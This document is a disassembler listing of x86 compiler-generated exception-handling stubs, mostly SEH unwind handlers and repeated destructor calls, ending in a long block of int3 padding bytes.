SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
